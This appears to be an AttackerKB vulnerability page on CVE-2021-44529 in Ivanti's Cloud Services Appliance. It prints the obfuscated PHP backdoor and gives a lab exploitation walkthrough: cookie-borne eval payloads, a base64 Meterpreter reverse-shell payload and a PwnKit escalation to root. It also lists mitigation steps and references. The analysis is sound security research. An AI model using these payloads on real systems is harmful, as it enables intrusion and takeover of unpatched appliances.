CVE-2021-44529

Description

A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

Add Assessment

h00die-gr3y (128)

January 08, 2023 9:32am UTC (1 year ago)•

Ratings

Attacker Value

Very High

Exploitability

Very High

Common in enterprise Easy to weaponize Unauthenticated Vulnerable in default configuration

Technical Analysis

During the boring Christmas Days, — those days where you have to sit together, be nice to each other and eat and drink too much —, I stumbled upon this RCE where surprisingly not much was published on the analysis of this vulnerability.
It was discovered in December 2021 by the security researcher Jakub Kramarz and is affecting the Ivanti Cloud Services Appliance for Avanti Endpoint Manager versions before 4.6.0-512.
It allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

if you read the security advisory, Ivanti Security Advisory 2021-12-02, it mentions that the vulnerable code is located in the /opt/landesk/broker/webroot/lib/csrf-magic.php and the target endpoint is /client/index.php.

To mitigate the issue, make a backup of the file and manually edit as follows: Remove the ten lines near the end of the file that start with “// Obscure Tokens” > but leave in the last 6 lines of code which follow which is the section that starts with “// Load user configuration”.

After some research on the Internet, i managed to lay my hands on a vulnerable virtual appliance and installed it in Virtualbox.
After searching in the file /opt/landesk/broker/webroot/lib/csrf-magic.php, I indeed found the vulnerable code mentioned in the security advisory (see code snippet below)

// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Interesting, right? Because it clearly looks like some hidden code…
If you just copy this in a php file and run it you will soon understand that it dynamically generates a function that enables a cookie based RCE.
Note: create_function() is deprecated in PHP 8 and above

<?php
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom)));  // $zmto();

$hvg= $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom));
echo "$lviw\n";
echo "$xytu\n";
echo "$murp\n";
echo "$hvg\n";
echo "$zmto\n";

Output

str_replace
base64_decode
create_function
$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
lambda_1

The code line $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} is the one with the logic.

It uses the $_COOKIE as the input and it checks the count of the cookie pairs which should be more then 3 and the first cookie pair value should be ab. If these conditions match it will use the cookie pair value matching the count – 3 containing base64 PHP code , sanitizes the base64 code (remove whitespace etc) and decodes it for execution in the eval function which natively executes PHP code. The result of the command execution can be found in the HTTP response between the tags <c123></c123>.

Some examples of Cookie headers that will work:
Example 1 (count =4) –> payload at 2nd pair: Cookie: hello=ab; exec=<base64 php payload>; cuckoo=; clock=;
Example 2 (count =5) –> payload at 3th pair: Cookie: thisisnice=ab; skipthisone=; executethisone=<base64 php payload>; b=; c=;
Example 3 (count =6) –> payload at 4th pair: Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=<base64 php payload>; b=; c=;

Payload should be native PHP code and base64 encoded.

The most interesting question however is, why this is added to the code? It is a left-over from testing or more likely, a backdoor to get access to the appliances?
I do know the answer, but if you check with Shodan, you will still find more then 2000 of these appliances connected to the Internet from which around 15% still runs this vulnerable version.

Let’s play a bit with Burpsuite to see if the logic works…

Example one – system(“id”);

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; executethisone=c3lzdGVtKCJpZCIpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Output

HTTP/1.1 200 OK
Set-Cookie:LDCSASESSID=ttki9kounanus8fqm19juo3am6; path=/; secure; HttpOnly
Expires:Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma:no-cache
X-Frame-Options:sameorigin
X-Content-Type-Options:nosniff
Strict-Transport-Security:max-age=31536000; includeSubDomains;  preload
X-XSS-Protection:1; mode=block
Referrer-Policy:no-referrer
Content-type:text/html
Content-Length:7161
Date:Sun, 08 Jan 2023 05:29:50 GMT

<c123>uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
</c123>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Ivanti&reg; Cloud Services Appliance
etc....

Example two – php meterpreter

# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.41 LPORT=4444 -f raw | base64

Setup a multi/handler with payload php/meterpreter/reverse_tcp

Burp request

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMTAwLjcnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Metasploit

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > [*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59422) at 2023-01-08 10:00:10 +0000

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >

The appliance has a rich set of tooling such as python, netcat, bash, perl and others installed so the attack surface is pretty broad.
One point of attention however is that the attack surface for the appliances running in the wild might be restricted because of the hardening. For instance, most of the appliances only allow in and outbound traffic on port 80 and 443 (see Hardening CSA appliance).

Additional privilege escalation

If you have established a foothold on the appliance, you can get to root because the underlying CentOS is vulnerable to CVE-2021-4034.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION       1                yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit

[*] Started reverse TCP handler on 192.168.100.7:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zcbstvgmiy
[+] The target is vulnerable.
[*] Writing '/tmp/.shmkphpno/qwsfmu/qwsfmu.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.shmkphpno
[*] Sending stage (3045348 bytes) to 192.168.100.41
[+] Deleted /tmp/.shmkphpno/qwsfmu/qwsfmu.so
[+] Deleted /tmp/.shmkphpno/.xlfjhsej
[+] Deleted /tmp/.shmkphpno
[*] Meterpreter session 2 opened (192.168.100.7:5555 -> 192.168.100.41:43842) at 2023-01-08 10:25:05 +0000

meterpreter > getuid
Server username: root
meterpreter >

I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the References section.

Mitigation

Follow the guidance in security advisory Ivanti Security Advisory 2021-12-02.

References

Ivanti Security Advisory 2021-12-02
Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researchers below who discovered and analyzed this vulnerability.

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

9.8 Critical

Impact Score:

5.9

Exploitability Score:

3.9

Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector (AV):

Network

Attack Complexity (AC):

Low

Privileges Required (PR):

None

User Interaction (UI):

None

Scope (S):

Unchanged

Confidentiality (C):

High

Integrity (I):

High

Availability (A):

High

Vendors

ivanti

Products

endpoint manager cloud services appliance,
endpoint manager cloud services appliance 4.6

Metasploit Modules

exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529 (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.rb)

Exploited in the Wild

Reported by:

inokii indicated sources as

Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/03/25/cisa-adds-three-known-exploited-vulnerabilities-catalog)

Reported: March 26, 2024 9:57pm UTC (8 months ago)

AttackerKB Worker indicated source as Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/03/25/cisa-adds-three-known-exploited-vulnerabilities-catalog)

Reported: November 08, 2024 8:26am UTC (1 month ago)

References

Canonical

CVE-2021-44529 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44529)

Miscellaneous

https://forums.ivanti.com/s/article/SA-2021-12-02

http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html

http://packetstormsecurity.com/files/170590/Ivanti-Cloud-Services-Appliance-CSA-Command-Injection.html

Rapid7

Very High

Very High

Very High

None

None

Network

CVE-2021-44529

Description

Add Assessment

Ratings

Technical Analysis

Additional privilege escalation

Mitigation

References

Credits

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Miscellaneous

Additional Info

Technical Analysis

Very High

CVE-2021-44529

Very High

Very High

None

None

Network

CVE-2021-44529

Description

Add Assessment

Ratings

Technical Analysis

Additional privilege escalation

Mitigation

References

Credits

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Miscellaneous

Additional Info

Technical Analysis

Quick Cookie Notification